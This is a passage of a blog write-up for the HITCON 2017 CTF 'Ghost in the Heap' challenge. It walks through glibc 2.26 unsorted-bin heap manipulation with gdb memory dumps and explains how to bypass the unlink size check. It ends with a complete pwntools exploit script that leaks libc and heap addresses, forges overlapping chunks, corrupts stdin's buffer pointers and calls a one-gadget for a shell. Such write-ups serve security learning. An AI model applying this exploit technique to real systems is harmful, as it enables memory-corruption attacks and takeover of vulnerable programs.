0x7f7749d15ba0:	0x00007f7749d15b88	0x000055a7eadf5160
0x7f7749d15bb0:	0x000055a7eadf5160	0x00007f7749d15ba8

After this we can find a hole at 0x55a7eadf51b0 and chunk at 0x55a7eadf5160 is of size 0x50.

Step 5:
Allocate Heap0, and craft a chunk at 0x55a7eadf50b0, whose FD and BK pointer are both 0x000055a7eadf5000.

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5070	0x0000000000000000
0x55a7e9caa060:	0x000055a7eadf51d0	0x000055a7eadf5010

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf50b0	0x000055a7eadf50b0
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x00000000000000b1
0x55a7eadf5070:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf5080:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf5090:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50a0:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50b0:	0x0000000000000000	0x0000000000000111
0x55a7eadf50c0:	0x000055a7eadf5000	0x000055a7eadf5000
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x0000000000000051
0x55a7eadf5120:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000050	0x0000000000000050
0x55a7eadf5170:	0x00007f7749d15b98	0x00007f7749d15b98
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf5110	0x000055a7eadf5110
0x7f7749d15b70:	0x000055a7eadf5110	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
0x7f7749d15ba0:	0x00007f7749d15b88	0x000055a7eadf5160
0x7f7749d15bb0:	0x000055a7eadf5160	0x00007f7749d15ba8

Step 6:
Allocate Heap1, delete Heap2, Heap0. After reaching this point, the status of unsorted bin has become interesting. There are now two chunks in unsorted bin. The first one is at 0x55a7eadf50b0 of size 0x1c1; the other one is at 0x000055a7eadf5060 of size 0x101. So we need to create overlapping chunks next.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf5280
0x55a7e9caa060:	0x0000000000000000	0x000055a7eadf5010

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf5000	0x000055a7eadf5000
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x0000000000000101
0x55a7eadf5070:	0x000055a7eadf50b0	0x00007f7749d15b58
0x55a7eadf5080:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf5090:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50a0:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50b0:	0x0000000000000000	0x00000000000001c1
0x55a7eadf50c0:	0x00007f7749d15b58	0x000055a7eadf5060
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x0000000000000051
0x55a7eadf5120:	0x000055a7eadf5160	0x00007f7749d15b98
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000100	0x0000000000000050
0x55a7eadf5170:	0x00007f7749d15b98	0x00007f7749d15b98
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x00000000000001c0	0x00000000000000b0
0x55a7eadf5280:	0x000000000000006c	0x0000000000000000
0x55a7eadf5290:	0x0000000000000000	0x0000000000000000
0x55a7eadf52a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52c0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5300:	0x0000000000000000	0x0000000000000000
0x55a7eadf5310:	0x0000000000000000	0x0000000000000000
0x55a7eadf5320:	0x0000000000000000	0x0000000000020ce1

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5320
0x7f7749d15b60:	0x000055a7eadf5110	0x000055a7eadf5060
0x7f7749d15b70:	0x000055a7eadf50b0	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
0x7f7749d15ba0:	0x00007f7749d15b88	0x000055a7eadf5160
0x7f7749d15bb0:	0x000055a7eadf5160	0x00007f7749d15ba8
0x7f7749d15bc0:	0x00007f7749d15ba8	0x00007f7749d15bb8

Step 7:
Allocate Heap0, Heap2.

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5070	0x000055a7eadf5280
0x55a7e9caa060:	0x000055a7eadf50c0	0x000055a7eadf5010

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf5000	0x000055a7eadf5000
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d1006d	0x00007f7749d15c48
0x55a7eadf5080:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf5090:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50a0:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50b0:	0x0000000000000000	0x00000000000000b1
0x55a7eadf50c0:	0x00007f7749d1006e	0x00007f7749d15d08
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x0000000000000051
0x55a7eadf5120:	0x000055a7eadf5160	0x00007f7749d15b98
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000050	0x0000000000000111
0x55a7eadf5170:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5280:	0x000000000000006c	0x0000000000000000
0x55a7eadf5290:	0x0000000000000000	0x0000000000000000
0x55a7eadf52a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52c0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5300:	0x0000000000000000	0x0000000000000000
0x55a7eadf5310:	0x0000000000000000	0x0000000000000000
0x55a7eadf5320:	0x0000000000000000	0x0000000000020ce1

Step 8:
Delete Heap0, Heap2. After this step, the first chunk in unsorted bin is at 0x55a7eadf5060 of size 0xb1. The second chunk in unsorted bin is at 0x55a7eadf5060 of size 0x1c1. The reason for this will be explained later.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf5280
0x55a7e9caa060:	0x0000000000000000	0x000055a7eadf5010

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf5000	0x000055a7eadf5000
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x000055a7eadf50b0
0x55a7eadf5080:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf5090:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50a0:	0x00000000deadbeef	0x00000000deadbeef
0x55a7eadf50b0:	0x0000000000000000	0x00000000000001c1
0x55a7eadf50c0:	0x000055a7eadf5060	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x00000000000000b0	0x0000000000000050
0x55a7eadf5120:	0x000055a7eadf5160	0x00007f7749d15b98
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000050	0x0000000000000111
0x55a7eadf5170:	0x00007f7749d15b58	0x000055a7eadf5060
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x00000000000001c0	0x00000000000000b0
0x55a7eadf5280:	0x000000000000006c	0x0000000000000000
0x55a7eadf5290:	0x0000000000000000	0x0000000000000000
0x55a7eadf52a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52c0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5300:	0x0000000000000000	0x0000000000000000
0x55a7eadf5310:	0x0000000000000000	0x0000000000000000
0x55a7eadf5320:	0x0000000000000000	0x0000000000020ce1

//Heap Status:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5320
0x7f7749d15b60:	0x000055a7eadf5160	0x000055a7eadf50b0
0x7f7749d15b70:	0x000055a7eadf5060	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
0x7f7749d15ba0:	0x00007f7749d15b88	0x000055a7eadf5110
0x7f7749d15bb0:	0x000055a7eadf5160	0x00007f7749d15ba8

Step 10:
Allocate Heap0. Overwrite the data at 0x55a7eadf50c0 with _IO_2_1_stdion->buf_end – 0x10

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5070	0x000055a7eadf5280
0x55a7e9caa060:	0x0000000000000000	0x000055a7eadf5010

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf5000	0x000055a7eadf5000
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x00000000000000b1
0x55a7eadf5070:	0x0000000000000000	0x0000000000000000
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x0000000000000000	0x00000000000000b1
0x55a7eadf50c0:	0x0000000000000000	0x00007f7749d158f0<=Overwritten data
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x00000000000000b0	0x0000000000000051
0x55a7eadf5120:	0x000055a7eadf5160	0x00007f7749d15b98
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000050	0x0000000000000111
0x55a7eadf5170:	0x00007f7749d15b58	0x000055a7eadf5060
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x00000000000001c0	0x00000000000000b0
0x55a7eadf5280:	0x000000000000006c	0x0000000000000000
0x55a7eadf5290:	0x0000000000000000	0x0000000000000000
0x55a7eadf52a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52c0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf52f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5300:	0x0000000000000000	0x0000000000000000
0x55a7eadf5310:	0x0000000000000000	0x0000000000000000
0x55a7eadf5320:	0x0000000000000000	0x0000000000020ce1

//Heap Status:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5320
0x7f7749d15b60:	0x000055a7eadf5160	0x000055a7eadf50b0
0x7f7749d15b70:	0x000055a7eadf50b0	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
0x7f7749d15ba0:	0x00007f7749d15b88	0x000055a7eadf5110
0x7f7749d15bb0:	0x000055a7eadf5160	0x00007f7749d15ba8

Important Note in Heap Overlapping

In step 7 and 8 in the procedure of creating overlapping, it seems to do something meaningless. But that’s the most tricky part in this challenge. Especially being tired and exhausted after so many tedious steps, it’s hard to come up with this solution.
Let’s first observe what will happen if step 7 and 8 were missing:

// The heap base is different from data above, just pay attention to last three bytes
/*
[*]  corrupted size vs. prev_size: 0x00005646f58ef0b0 ***
[*] ======= Backtrace: =========
[*] ./libc.so.6(+0x7908b)[0x7fd0b44f308b]
[*] ./libc.so.6(+0x85482)[0x7fd0b44ff482]
[*] ./libc.so.6(__libc_malloc+0x54)[0x7fd0b4500984]
[*] ./ghost_in_the_heap(+0xc2c)[0x5646f55abc2c]
[*] ./ghost_in_the_heap(+0xf9a)[0x5646f55abf9a]
[*] ./libc.so.6(__libc_start_main+0xf1)[0x7fd0b449a3f1]
[*] ./ghost_in_the_heap(+0x96a)[0x5646f55ab96a]
*/
0x5646f58ef0b0:	0x0000000000000000	0x00000000000000b1
0x5646f58ef0c0:	0x0000000000000000	0x00007fd0b483b8f0
0x5646f58ef0d0:	0x0000000000000000	0x0000000000000000
0x5646f58ef0e0:	0x0000000000000000	0x0000000000000000
0x5646f58ef0f0:	0x0000000000000000	0x0000000000000000
0x5646f58ef100:	0x0000000000000000	0x0000000000000001
0x5646f58ef110:	0x0000000000000110	0x0000000000000051
0x5646f58ef120:	0x00005646f58ef160	0x00007fd0b483bb98
0x5646f58ef130:	0x0000000000000000	0x0000000000000000
0x5646f58ef140:	0x0000000000000000	0x0000000000000000
0x5646f58ef150:	0x0000000000000000	0x0000000000000000
0x5646f58ef160:	0x0000000000000050	0x0000000000000050
0x5646f58ef170:	0x00007fd0b483bb98	0x00005646f58ef110

This is a newly added check in glibc-2.26 in unlink function:

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
     malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); 

As mentioned in Step 4, we cannot manipulate the HOLE. So we need an alternative way to get over this. The solution is avoid triggering unlink function in __int_malloc, which exists in processing smallbin (line 3915 in malloc.c libc-2.26).

After taking a deeper look into the heap status, we find that without step 7 and 8, 0x5646f58ef0b0 will be inserted into small bin. So let’s observe the heap status after corrupting the BK pointer without step 7, 8 and with step 7, 8 respectively.

/*Without step 7 and 8:*/
//Heap Layout:
0x558e0ef660b0:	0x0000000000000000	0x00000000000000b1
0x558e0ef660c0:	0x0000000000000000	0x00007f32f74d18f0
0x558e0ef660d0:	0x0000000000000000	0x0000000000000000
0x558e0ef660e0:	0x0000000000000000	0x0000000000000000
0x558e0ef660f0:	0x0000000000000000	0x0000000000000000
0x558e0ef66100:	0x0000000000000000	0x0000000000000001
0x558e0ef66110:	0x0000000000000110	0x0000000000000051
0x558e0ef66120:	0x00007f32f74d1b58	0x00007f32f74d1b58

//Heap Status:
0x7f32f74d1b00:	0x0000000100000000	0x0000000000000000
0x7f32f74d1b10:	0x0000000000000000	0x0000000000000000
0x7f32f74d1b20:	0x0000000000000000	0x0000000000000000
0x7f32f74d1b30:	0x0000000000000000	0x0000000000000000
0x7f32f74d1b40:	0x0000000000000000	0x0000000000000000
0x7f32f74d1b50:	0x0000000000000000	0x0000558e0ef66320
0x7f32f74d1b60:	0x0000558e0ef66110	0x0000558e0ef66110
0x7f32f74d1b70:	0x0000558e0ef66110	0x00007f32f74d1b68
0x7f32f74d1b80:	0x00007f32f74d1b68	0x00007f32f74d1b78
0x7f32f74d1b90:	0x00007f32f74d1b78	0x00007f32f74d1b88
0x7f32f74d1ba0:	0x00007f32f74d1b88	0x0000558e0ef66160
0x7f32f74d1bb0:	0x0000558e0ef66160	0x00007f32f74d1ba8
..........
0x7f32f74d1d10:	0x00007f32f74d1cf8	0x0000558e0ef660b0
0x7f32f74d1d20:	0x0000558e0ef660b0	0x00007f32f74d1d18

/*With Step 7 and 8*/
//Heap Layout:
0x55f13a9e30b0:	0x0000000000000000	0x00000000000000b1
0x55f13a9e30c0:	0x0000000000000000	0x00007f141e5d78f0
0x55f13a9e30d0:	0x0000000000000000	0x0000000000000000
0x55f13a9e30e0:	0x0000000000000000	0x0000000000000000
0x55f13a9e30f0:	0x0000000000000000	0x0000000000000000
0x55f13a9e3100:	0x0000000000000000	0x0000000000000001
0x55f13a9e3110:	0x00000000000000b0	0x0000000000000051
0x55f13a9e3120:	0x000055f13a9e3160	0x00007f141e5d7b98

//Heap Status:
0x7f141e5d7b00:	0x0000000100000000	0x0000000000000000
0x7f141e5d7b10:	0x0000000000000000	0x0000000000000000
0x7f141e5d7b20:	0x0000000000000000	0x0000000000000000
0x7f141e5d7b30:	0x0000000000000000	0x0000000000000000
0x7f141e5d7b40:	0x0000000000000000	0x0000000000000000
0x7f141e5d7b50:	0x0000000000000000	0x000055f13a9e3320
0x7f141e5d7b60:	0x000055f13a9e3160	0x000055f13a9e30b0
0x7f141e5d7b70:	0x000055f13a9e30b0	0x00007f141e5d7b68
0x7f141e5d7b80:	0x00007f141e5d7b68	0x00007f141e5d7b78

So far, we know why we need step 7 and 8. The next question is why we do so in step 7 and 8.
The key lies in how chunks in unsorted bin are processed according to the requested size. If the size of requested chunk is equal to the first chunk in unsorted bin, the first chunk will be unlinked from unsorted bin directly and returned. The remaining chunks will not be accessed. Therefore, the main idea of step 7 and 8 is to make the first chunk of unsorted bin be of size 0xb0. In step 9, after allocating a chunk of size 0xb0, the chunk of size 0x1c0 will still be left in unsorted bin.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    remote("52.193.196.17", 56746);
elif(DEBUG == 1):
    r = process("./ghost_in_the_heap");
elif(DEBUG == 2):
    r = process("./ghost_in_the_heap");
    gdb.attach(r, '''source ./script.py''');

def new(data):
    r.recvuntil(": ");
    r.sendline("1");
    r.recvuntil(":");
    r.sendline(data);

def delete(index):
    r.recvuntil(": ");
    r.sendline("2");
    r.recvuntil(":");
    r.sendline(str(index));

def addGhost(magic, desc):
    r.recvuntil(": ");
    r.sendline("3");
    r.recvuntil(":");
    r.sendline(str(magic));
    r.recvuntil(":");
    r.send(desc);

def watchGhost(magic):
    r.recvuntil(": ");
    r.sendline("4");
    r.recvuntil(":");
    r.sendline(str(magic));

def removeGhost():
    r.recvuntil(": ");
    r.sendline("5");


def exploit():
    # leak libc base
    new("a"*0x10);
    new("b"*0x10);
    delete(0);

    addGhost(1, "d"*8);
    watchGhost(1);
    r.recvuntil("d"*8);
    leaked = r.recv(6);
    leakedValue = u64(leaked + "\x00\x00");
    log.info("leaked value: 0x%x" % leakedValue);
    libcBase = leakedValue - 0x3c1bf8;
    #clear heap
    removeGhost();
    delete(1);

    # leak heap address
    addGhost(1, "d"*8);
    new("e"*0x10);
    new("f"*0x10);
    new("g"*0x10);
    removeGhost();
    delete(0);
    delete(2);

    new("h");
    new("i");

    delete(1);

    new("j");
    delete(0);

    addGhost(1, 'k'*9);

    watchGhost(1);
    r.recvuntil("k"*9);
    leaked = r.recv(5);
    leakedValue = u64("\x00"+ leaked +"\x00\x00");
    heapAddr = leakedValue;
    log.info("heap base address: 0x%x" % heapAddr);

    # clear heap
    delete(1);
    removeGhost();
    delete(0);
    delete(2);

    # overlap chunk
    new("k");
    addGhost(1, 'l');
    new("l");
    new("m");

    delete(0);
    removeGhost();

    delete(2);

    new("n");
    new("o");

    delete(0);
    delete(1);
    
    new("p"*0xa8);

    new("q");
    delete(1);

    delete(0);
    addGhost(1, p64(heapAddr + 0xb0)*2);

    new(p64(0xdeadbeef)*8 + p64(0) + p64(0x111) + p64(heapAddr)*2);

    new("l");

    delete(2);
    delete(0);

    new("m");
    new("n");

    delete(0);
    delete(2);

    buf_end = libcBase + 0x3c1900;
    lock = libcBase + 0x3c3770;
    new(p64(0)*8 + p64(0x0) + p64(0xb1) + p64(0) +p64(buf_end-0x10));


    log.info("hijacking control flow");
    new("\x00"*5 + p64(lock) + p64(0)*9 + "A"*0x150 + p64(libcBase + 0xf24cb) +  p64(libcBase + 0x86f10));

    removeGhost();

    r.recvuntil(": ");
    r.sendline("3");

    r.interactive()
    
exploit();

Reference

[1] https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon/ghost_in_the_heap

Advertisements
Categories: pwn

4 thoughts on “HITCON 2017 CTF Quals Ghost in The Heap

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.